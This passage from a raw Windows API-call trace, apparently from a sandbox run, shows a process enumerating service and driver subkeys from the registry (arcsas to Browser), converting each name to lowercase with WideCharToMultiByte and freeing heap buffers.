BaseAddress=0x21f1d18) returned 1 [0233.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.697] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.697] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0233.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.698] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0233.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0233.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0233.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.698] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0233.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0233.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0233.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.698] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0233.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0233.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.698] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.698] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0233.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0233.698] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0233.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.699] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0233.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0233.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0233.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.699] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0233.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0233.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.699] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0233.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0233.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.699] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0233.699] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0233.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.700] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0233.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0233.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.700] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0233.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0233.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0233.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.700] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0233.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0233.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0233.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.700] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.700] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.701] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.701] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.701] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0233.701] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.701] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.702] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0233.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0233.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0233.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.702] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0233.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0233.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.702] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.703] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.703] 